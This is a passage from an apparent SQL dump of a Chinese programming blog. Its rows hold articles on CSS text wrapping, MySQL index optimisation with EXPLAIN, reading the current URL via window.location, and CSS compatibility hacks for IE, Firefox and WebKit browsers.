class=\"brush:css;toolbar:false\">.p1{&nbsp;word-break:break-all;&nbsp;width:150px;}/*只对英文起作用，以字母作为换行依据*/&nbsp;\r\n.p2{&nbsp;word-wrap:break-word;&nbsp;width:150px;}/*--只对英文起作用，以单词作为换行依据*/&nbsp;\r\n.p3{white-space:pre-wrap;&nbsp;width:150px;}/*只对中文起作用，强制换行*/&nbsp;\r\n.p4{white-space:nowrap;&nbsp;width:10px;}/*强制不换行，都起作用*/&nbsp;\r\n.p5{white-space:nowrap;&nbsp;overflow:hidden;&nbsp;text-overflow:ellipsis;&nbsp;width:100px;}/*不换行，超出部分隐藏且以省略号形式出现*/</pre><p><span style=\"color: rgb(255, 0, 0);\">注意，一定要指定容器的宽度，不然的话是没有用的。word-break 是IE5+专有属性</span></p><p><strong>语法：</strong></p><p>word-break : normal | break-all | keep-all</p><p><strong>参数：</strong></p><p>normal：依照亚洲语言和非亚洲语言的文本规则，允许在字内换行</p><p>break-all：该行为与亚洲语言的normal相同。也允许非亚洲语言文本行的任意字内断开。该值适合包含一些非亚洲文本的亚洲文本</p><p>keep-all：与所有非亚洲语言的normal相同。对于中文，韩文，日文，不允许字断开。适合包含少量亚洲文本的非亚洲文本</p><p><strong>说明：</strong></p><p>设置或检索对象内文本的字内换行行为。尤其在出现多种语言时。</p><p>对于中文，应该使用break-all 。</p><p>注意，兼容火狐浏览器强制英文换行：</p><pre class=\"brush:html;toolbar:false\">&lt;div&nbsp;style=&quot;word-wrap:break-word;&nbsp;white-space:normal;&nbsp;word-break:break-all;&nbsp;width:150px;&quot;&gt;英文内容&lt;/div&gt;</pre>', '4063', '1', '', '1', '');
INSERT INTO `lei_jingyan` VALUES ('14', 'MySQL如何利用索引优化WHERE和ORDER BY的查询语句效率', 'MAAAAA yAAAAA SAAAAA QAAAAA LAAAAA 40714071 26462646 32913291 51355135 43874387 50935093 51375137 27152715 WAAAAA HAAAAA EAAAAA RAAAAA EAAAAA 26452645 OAAAAA RAAAAA DAAAAA EAAAAA RAAAAA BAAAAA YAAAAA 21362136 18731873 49154915 51795179 30683068 48074807 34423442', '', '0', '-1-,-2-', '../upload_image/2015/09/22/1cd669b1406beeb18565d622356c73ff', '2015-09-22 23:45:51', '互联网转载', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/02/1443716414347223.jpg\" title=\"1443716414347223.jpg\" alt=\"2.jpg\"/></p><p style=\"text-align: left;\">MySQL索引通常是被用于提高WHERE条件的数据行匹配或者执行联结操作时匹配其它表的数据行的搜索速度。</p><p style=\"text-align: left;\">MySQL也能利用索引来快速地执行ORDER BY和GROUP BY语句的排序和分组操作。</p><p style=\"text-align: left;\">通过索引优化来实现MySQL的ORDER BY语句优化：</p><p style=\"text-align: left;\">1、ORDER BY的索引优化。如果一个SQL语句形如：</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;[column1],[column2],….&nbsp;FROM&nbsp;[TABLE]&nbsp;ORDER&nbsp;BY&nbsp;[sort];</pre><p style=\"text-align: left;\">在[sort]这个栏位上建立索引就可以实现利用索引进行order by 优化。</p><p style=\"text-align: left;\">2、WHERE + ORDER BY的索引优化，形如：</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;[column1],[column2],….&nbsp;FROM&nbsp;[TABLE]&nbsp;WHERE&nbsp;[columnX]&nbsp;=&nbsp;[value]&nbsp;ORDER&nbsp;BY&nbsp;[sort];</pre><p style=\"text-align: left;\">建立一个联合索引(columnX,sort)来实现order by 优化。</p><p style=\"text-align: left;\">注意：如果columnX对应多个值，如下面语句就无法利用索引来实现order by的优化</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;[column1],[column2],….&nbsp;FROM&nbsp;[TABLE]&nbsp;WHERE&nbsp;[columnX]&nbsp;IN&nbsp;([value1],[value2],…)&nbsp;ORDER&nbsp;BY[sort];</pre><p style=\"text-align: left;\">3、WHERE+ 多个字段ORDER BY</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;[table]&nbsp;WHERE&nbsp;uid=1&nbsp;ORDER&nbsp;x,y&nbsp;LIMIT&nbsp;0,10;</pre><p style=\"text-align: left;\">建立索引(uid,x,y)实现order by的优化,比建立(x,y,uid)索引效果要好得多。</p><p style=\"text-align: left;\"><strong>MySQL Order By不能使用索引来优化排序的情况</strong></p><p style=\"text-align: left;\">* 对不同的索引键做 ORDER BY ：(key1,key2分别建立索引)</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;t1&nbsp;ORDER&nbsp;BY&nbsp;key1,&nbsp;key2;</pre><p style=\"text-align: left;\">* 在非连续的索引键部分上做 ORDER BY：(key_part1,key_part2建立联合索引;key2建立索引)</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;t1&nbsp;WHERE&nbsp;key2=constant&nbsp;ORDER&nbsp;BY&nbsp;key_part2;</pre><p style=\"text-align: left;\">* 同时使用了 ASC 和 DESC：(key_part1,key_part2建立联合索引)</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;t1&nbsp;ORDER&nbsp;BY&nbsp;key_part1&nbsp;DESC,&nbsp;key_part2&nbsp;ASC;</pre><p style=\"text-align: left;\">* 用于搜索记录的索引键和做 ORDER BY 的不是同一个：(key1,key2分别建立索引)</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;t1&nbsp;WHERE&nbsp;key2=constant&nbsp;ORDER&nbsp;BY&nbsp;key1;</pre><p style=\"text-align: left;\">* 如果在WHERE和ORDER BY的栏位上应用表达式(函数)时，则无法利用索引来实现order by的优化</p><pre class=\"brush:sql;toolbar:false\">SELECT&nbsp;*&nbsp;FROM&nbsp;t1&nbsp;ORDER&nbsp;BY&nbsp;YEAR(logindate)&nbsp;LIMIT&nbsp;0,10;</pre><p style=\"text-align: left;\"><strong>特别提示：</strong></p><p style=\"text-align: left;\">1&gt;mysql一次查询只能使用一个索引。如果要对多个字段使用索引，建立复合索引。</p><p style=\"text-align: left;\">2&gt;在ORDER BY操作中，MySQL只有在排序条件不是一个查询条件表达式的情况下才使用索引。</p><p style=\"text-align: left;\">要注重MYSQL中的explain SQL语句性，这可能帮助你分析MYSQL执行的效率：</p><pre class=\"brush:sql;toolbar:false\">EXPLAIN&nbsp;SELECT&nbsp;*&nbsp;FROM&nbsp;`TABLE_NAME`;</pre><p><strong>显示结果解析：</strong></p><table interlaced=\"enabled\"><tbody><tr class=\"ue-table-interlace-color-single firstRow\"><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">id</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">select_type</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">table</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">type</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">possible_keys</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">key</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">key_len</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">ref</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">rows</span></strong></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><strong><span style=\"font-size: 12px;\">Extra</span></strong></td></tr><tr class=\"ue-table-interlace-color-double\"><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">1</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">SIMPLE</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">table_name</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">ALL</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">NULL</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">NULL</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">NULL</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">NULL</span></td><td valign=\"middle\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><span style=\"font-size: 12px;\">100</span></td><td valign=\"middle\" style=\"border: 1px solid rgb(221, 221, 221);\" align=\"center\" height=\"39\"><br/></td></tr></tbody></table><ul class=\" list-paddingleft-2\" style=\"list-style-type: square;\"><li><p><span style=\"font-size: 16px;\">table #显示该语句涉及的表</span></p></li><li><p><span style=\"font-size: 16px;\">type #这列很重要，显示了连接使用了哪种类别,有无使用索引，反映语句的质量。</span></p></li><li><p><span style=\"font-size: 16px;\">possible_keys #列指出MySQL能使用哪个索引在该表中找到行</span></p></li><li><p><span style=\"font-size: 16px;\">key #显示MySQL实际使用的键（索引）。如果没有选择索引，键是NULL。</span></p></li><li><p><span style=\"font-size: 16px;\">key_len #显示MySQL决定使用的键长度。如果键是NULL，则长度为NULL。使用的索引的长度。在不损失精确性的情况下，长度越短越好</span></p></li><li><p><span style=\"font-size: 16px;\">ref #显示使用哪个列或常数与key一起从表中选择行。</span></p></li><li><p><span style=\"font-size: 16px;\">rows #显示MySQL认为它执行查询时必须检查的行数。</span></p></li><li><p><span style=\"font-size: 16px;\">extra #包含MySQL解决查询的详细信息。</span></p></li></ul><p><span style=\"color: rgb(255, 0, 0);\">其中：Explain的type显示的是访问类型，是较为重要的一个指标，结果值从好到坏依次是：</span></p><p>system &gt; const &gt; eq_ref &gt; ref &gt; fulltext &gt; ref_or_null &gt; index_merge &gt; unique_subquery &gt; index_subquery &gt; range &gt; index &gt; ALL（优--&gt;差）　一般来说，得保证查询至少达到range级别，最好能达到ref，否则就可能会出现性能问题。</p>', '7343', '1', '1', '1', 'MySQL索引优化,MySQL查询语句效率');
INSERT INTO `lei_jingyan` VALUES ('16', 'jQuery与JavaScript获取当前页面的URL信息方法及使用说明', 'jAAAAA QAAAAA uAAAAA eAAAAA rAAAAA yAAAAA 51755175 JAAAAA aAAAAA vAAAAA aAAAAA SAAAAA cAAAAA rAAAAA iAAAAA pAAAAA tAAAAA 27812781 40014001 21172117 39163916 50195019 35703570 21362136 UAAAAA RAAAAA LAAAAA 48374837 47024702 23292329 23082308 28162816 42254225 51355135 43214321 35873587', '', '0', '-3-,-12-', '../upload_image/2015/09/27/76652a1fa6e870aac691476eabb3f491', '2015-09-27 22:56:22', '本站整理', '<p style=\"text-indent: 2em;\">今天在做百度分享事件统计的时候，突然想到百度分享有一个事件为“onAfterClick”，利用这个函数可以让用户在点击分享按钮后执行相应的function事件，我就是用这个触发事件，再用AJAX异步提交相关数据参数到PHP文件用于记录分享的按钮是QQ空间、新浪微博还是人人网。同时我又考虑到想统计一下分享页面的URL地址，就在网上找关于JQuery获取当前URL的方法，但是找来找去，没有找到JQuery对当前URL的获取方法，但找到了一些可以解决的办法，就顺手记下来了。这里与大家分享一下这种方法，大家可以尝试一下。</p><p><strong>设置或获取整个 URL 为字符串。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.href\r\n例：http://www.mdaima.com:8086/topic/index?topicId=361\r\nalert(window.location.href);&nbsp;\r\n输出：http://www.mdaima.com:8086/topic/index?topicId=361</pre><p><strong>设置或获取与 URL 关联的端口号码。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.port\r\n例：http://www.mdaima.com:8086/topic/index?topicId=361\r\nalert(window.location.port);&nbsp;\r\n输出：8086</pre><p><strong>设置或获取 URL 的协议部分。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.protocol\r\n例：http://www.mdaima.com:8086/topic/index?topicId=361\r\nalert(window.location.protocol);&nbsp;\r\n输出：http:</pre><p><strong>设置或获取 href 属性中在井号“#”后面的分段。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.hash</pre><p><strong>设置或获取 location 或&nbsp;URL&nbsp;的 hostname 和 port 号码。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.host\r\n例：http://www.mdaima.com:8086/topic/index?topicId=361\r\nalert(window.location.host);&nbsp;\r\n输出：http:www.mdaima.com:8086</pre><p><strong>设置或获取 href 属性中跟在问号后面的部分。</strong><br/></p><pre class=\"brush:html;toolbar:false\">window.location.search\r\n例：http://www.mdaima.com:8086/topic/index?topicId=361\r\nalert(window.location.search);&nbsp;\r\n输出：?topicId=361</pre><p style=\"line-height: normal;\"><br/></p><table interlaced=\"enabled\"><tbody><tr class=\"ue-table-interlace-color-single firstRow\"><th style=\"border-color: rgb(221, 221, 221); word-break: break-all;\">属性<br/></th><th style=\"border-color: rgb(221, 221, 221); word-break: break-all;\">描述</th></tr><tr class=\"ue-table-interlace-color-double\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">hash</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取 href 属性中在井号“#”后面的分段。 &nbsp; &nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-single\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">host</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取 location 或 URL 的 hostname 和 port 号码。 &nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-double\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">hostname</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取 location 或 URL 的主机名称部分。&nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-single\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">href</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取整个 URL 为字符串。 &nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-double\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">pathname</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取对象指定的文件名或路径。 &nbsp;&nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-single\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">port</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取与 URL 关联的端口号码。 &nbsp; &nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-double\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">protocol</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取 URL 的协议部分。 &nbsp; &nbsp;</span></td></tr><tr class=\"ue-table-interlace-color-single\"><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">search</span></td><td valign=\"top\" style=\"word-break: break-all; border: 1px solid rgb(221, 221, 221);\"><span style=\"font-size: 14px;\">设置或获取 href 属性中跟在问号后面的部分。</span></td></tr></tbody></table>', '2641', '1', '1', '1', 'jQuery获取页面URL,当前URL操作');
INSERT INTO `lei_jingyan` VALUES ('19', '关于CSS Hack技术的详解，针对：IE 6-11、Chrome、FireFox、Safari、Opera浏览器兼容的解决办法', '25562556 51585158 CAAAAA SAAAAA SAAAAA HAAAAA aAAAAA cAAAAA kAAAAA 28282828 42854285 21362136 47744774 29662966 03120312 53755375 22522252 03260326 IAAAAA EAAAAA 6AAAAA -115-160-115-160 1AAAAA 1AAAAA 01020102 CAAAAA hAAAAA rAAAAA oAAAAA mAAAAA eAAAAA 01020102 FAAAAA iAAAAA rAAAAA eAAAAA FAAAAA oAAAAA xAAAAA 01020102 SAAAAA aAAAAA fAAAAA aAAAAA rAAAAA iAAAAA 01020102 OAAAAA pAAAAA eAAAAA rAAAAA aAAAAA 68156815 32323232 38873887 28702870 40614061 21362136 29662966 30863086 16761676 23082308', '', '0', '-4-,-13-', '../upload_image/2015/10/07/fa5977dc0f34ac498d95e8346e847c20', '2015-10-07 00:34:34', '本站整理', '<p style=\"text-align: center;\"><img style=\"width: 528px; height: 220px;\" title=\"\" border=\"0\" alt=\"\" vspace=\"0\" src=\"/upload_file/image/2015/10/07/1444149176812698.jpg\" width=\"528\" height=\"220\"/></p><p style=\"text-indent: 2em;\">今天给博客改程序的时候遇到了li标签CSS样式设置的问题，就发现IE和Chrome的兼容性不太好调整，但为了码代码-李雷博客给大家的视觉效果能够尽量保持一致，就百度了一下相关CSS Hack的知识，顺手就转载过来了，也当成是学习笔记吧。顺便感谢一下“CodePlayer”博客，给我提供了学习的思路，同样也欣赏“CodePlayer”博主那一句文绉绉的话“<span style=\"color: rgb(255, 0, 0);\">再牛逼的理想也经不住最傻逼的坚持</span>”</p><p style=\"text-indent: 2em;\">以下就是转载的具体内容：</p><p style=\"text-indent: 2em;\">以前，浏览器主要有IE和NetScape两家；到现在，各种各样功能强大的浏览器层出不穷。例如：举世闻名的浏览器有Chrome、FireFox、Safari、Opera，常见的&quot;国产&quot;浏览器有遨游、QQ、360、搜狗、UC、世界之窗。</p><p style=\"text-indent: 2em;\">由于不同浏览器所遵循的标准也有所不同，再加上不可避免的程序bug、经济利益等因素的干扰。同样的网页代码(HTML + CSS)，在不同浏览器上的显示效果却略有不同，甚至大有不同。即使是同一个浏览器，其不同版本的显示效果也有所不同，尤其是IE。这就给网页前端设计人员带来了很大的困扰。开发人员必须兼顾考虑到所有主流的浏览器，才能在不同的浏览器上显示出相同或满足需要的效果。于是CSS Hack技术就诞生了。</p><p style=\"text-indent: 2em;\">CSS Hack技术，就是利用不同浏览器不同版本之间的CSS实现的特性差异，来满足我们需要的效果：在所有主流浏览器上显示统一的效果，或者为特定浏览器显示特定的效果。</p><p style=\"text-indent: 2em;\">众所周知，如果在一个css样式选择器中存在两个名称相同的属性，浏览器一般会以最后面的属性为准。</p><pre class=\"brush:html;toolbar:false\">&lt;style&nbsp;type=&quot;text/css&quot;&gt;\r\n.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;red;\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;blue;&nbsp;/*&nbsp;最终背景色显示为蓝色&nbsp;*/\r\n}\r\n&lt;/style&gt;\r\n&lt;div&nbsp;class=&quot;css-hack&quot;&gt;CodePlayer&lt;/div&gt;</pre><p>当然，这里有个前提，那就是浏览器首先得能够识别并支持该css属性，对于浏览器不支持的css属性或值，浏览器将一律将其忽略。</p><p>这就是CSS Hack技术的实现原理。例如：即使我们在属性名称前面加上一个下划线_，IE 6 照样可以识别该属性，而且只有IE 6可以识别。因此，我们就可以利用这个特性，让IE 6实现某些特定的效果。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;red;&nbsp;/*&nbsp;在其他浏览器上显示为红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;_background-color:&nbsp;blue;&nbsp;/*&nbsp;在IE&nbsp;6上显示为蓝色&nbsp;*/\r\n}</pre><p>再者如，由于IE 6不支持max-width属性，但是IE6的css属性值支持expression表达式。因此，我们可以为IE 6 折中实现max-width的属性效果。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;red;\r\n&nbsp;&nbsp;&nbsp;&nbsp;max-width:&nbsp;200px;\r\n&nbsp;&nbsp;&nbsp;&nbsp;_width:&nbsp;expression(&nbsp;function(me){&nbsp;var&nbsp;maxWidth&nbsp;=&nbsp;200;&nbsp;me.style.width&nbsp;=&nbsp;(me.offsetWidth&nbsp;&lt;=&nbsp;maxWidth&nbsp;?&nbsp;me.offsetWidth&nbsp;:&nbsp;maxWidth)&nbsp;+&nbsp;&quot;px&quot;;&nbsp;}(this)&nbsp;);&nbsp;/*&nbsp;_开头只有IE6可以识别，出于性能考虑，此处的表达式只会执行一次&nbsp;*/\r\n}</pre><p>下面，我们就来探讨IE 6-11、FireFox、Chrome、Safari、Opera等浏览器的CSS Hack技术，以供特定浏览器进行特定属性的识别(国产浏览器一般都使用IE或Chromium内核，因此不予考虑)。</p><pre class=\"brush:html;toolbar:false\">备注：以下内容多搜集于网络(在网络上搜集的时候发现，网上胡说八道的真多……)，并进行了亲自测试，以尽量确保准确无误，但由于各种系统平台、语言环境、大版本、小版本等问题，笔者并不能保证没有任何遗漏或错误。如果有读者发现，敬请留言告知。</pre><p><span style=\"font-size: 20px;\"><strong>IE浏览器的CSS Hack</strong></span></p><p><strong>所有的IE浏览器的CSS Hack</strong><br/></p><p>由于所有的IE浏览器都能够识别特定的css属性值后缀\\9，因此我们可以给css的属性值添加\\9后缀(在结尾的分号之前)，从而做到只有IE浏览器能够识别该属性，其他浏览器无法识别从而将其忽略掉。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器上显示为红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;blue&nbsp;\\9;&nbsp;/*&nbsp;所有IE浏览器上显示为蓝色&nbsp;*/\r\n}</pre><p><strong>IE 6的CSS Hack</strong><br/></p><p>毫无疑问，如上所述，为css的属性前面加下划线_，这是给IE6专用的。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器上显示为红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;_background-color:&nbsp;blue;&nbsp;/*&nbsp;只有IE&nbsp;6浏览器上显示为蓝色&nbsp;*/\r\n}</pre><p><strong>IE 7的CSS Hack</strong></p><p>IE6、IE7都能够识别加了+、*或#前缀的css属性名称，但是IE 7不支持_前缀，而IE6支持。因此，我们可以先写一个*属性、+属性或#属性让IE6、IE7都能识别，再写一个_属性，只让IE6识别，将属性值复原回去，从而让前者只对IE 7生效。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器上显示为红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;+color:&nbsp;blue;&nbsp;/*&nbsp;只有&nbsp;IE&nbsp;6、IE&nbsp;7&nbsp;浏览器上显示为蓝色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;_color:&nbsp;red;&nbsp;/*&nbsp;让&nbsp;IE&nbsp;6&nbsp;复原为之前设置的颜色&nbsp;*/\r\n}</pre><pre class=\"brush:html;toolbar:false\">注意：有些网页上说，只用+、*或者#号的属性前缀就可以只让IE&nbsp;7进行单独识别。不过经过本人亲测，不管是用IE&nbsp;Tester，还是专门下载一个XP系统，用原版IE&nbsp;6测试，都表明：IE6、IE7都可以识别+、*或#号的属性前缀。</pre><p>另外，还有人说，IE 7支持!important，IE 6不支持!important，因此可以通过*属性: 值!important;的形式来实现IE 7的CSS Hack。<br/><br/>实际上，这样也是不行的，因为IE 6不是不支持!important，只是有个bug而已，详情请参见IE6究竟支不支持!important和IE6 IE7(Q) IE8(Q) 不完全支持!important规则。</p><p>使用!important来实现IE 7的CSS Hack，必须是在同一个样式选择器中，而且同样需要在后面加_属性来复原IE 6的设置(这种方式还麻烦点，上面的方法还少写个!important)。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器上显示为红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;*color:&nbsp;blue&nbsp;!important;&nbsp;/*&nbsp;只有&nbsp;IE&nbsp;6、IE&nbsp;7&nbsp;浏览器上显示为蓝色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;_color:&nbsp;red;&nbsp;/*&nbsp;让&nbsp;IE&nbsp;6&nbsp;复原为之前设置的颜色&nbsp;*/\r\n}</pre><p>此外，IE 7也支持在选择器前添加*+html&nbsp;，让当前选择器成为*+html的后辈选择器，只有IE 7可以识别此类样式选择器(据说某些旧版本的Opera浏览器也能识别，不过这些版本早已作古了，无需考虑)。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n}\r\n*+html&nbsp;.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;blue;&nbsp;/*&nbsp;只有IE&nbsp;7显示蓝色&nbsp;&nbsp;*/\r\n}</pre><p>IE 7还支持在选择器前添加*:first-child+html，让当前选择器成为*:first-child+html的后辈选择器。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n}\r\n*:first-child+html&nbsp;.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;blue;&nbsp;/*&nbsp;只有IE&nbsp;7显示蓝色&nbsp;&nbsp;*/\r\n}</pre><p><strong>IE 8的CSS Hack</strong></p><p>只有IE8支持嵌套如下@media类型查询语句：@media \\0screen。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n}\r\n@media&nbsp;\\0screen&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;.css-hack&nbsp;{&nbsp;color:&nbsp;blue;&nbsp;}&nbsp;/*&nbsp;只有IE&nbsp;8显示蓝色&nbsp;*/\r\n}</pre><p><strong>IE 9的CSS Hack</strong></p><p>没找到一个靠谱的。</p><p><strong>IE 10的CSS Hack</strong></p><p>没找到一个靠谱的。</p><p><strong>IE 11的CSS Hack</strong></p><p>没找到一个靠谱的。</p><p><strong>IE 6 + IE 7 的CSS Hack</strong></p><p>如上所述，只有IE 6、IE 7可以识别加了+或*号的属性前缀。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;*color:&nbsp;blue;&nbsp;/*&nbsp;IE&nbsp;6、IE&nbsp;7显示为蓝色&nbsp;*/\r\n}</pre><p><span style=\"font-size: 20px;\"><strong>FireFox、Chrome、Safari、Opera的CSS Hack</strong></span></p><p><strong>FireFox的CSS Hack</strong></p><p>FireFox支持嵌套其专用的css语句：@-moz-document url-prefix()。</p><pre class=\"brush:css;toolbar:false\">.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;red;&nbsp;/*&nbsp;其他浏览器显示红色&nbsp;*/\r\n}\r\n@-moz-document&nbsp;url-prefix()&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;.css-hack&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;blue;&nbsp;/*&nbsp;只有FireFox显示为蓝色&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n}</pre><p><strong>Chrome、Safari等Webkit内核的浏览器的CSS Hack</strong></p><p>Chrome、Safari等采用webkit内核的浏览器支持媒体类型查询语句：@media screen and 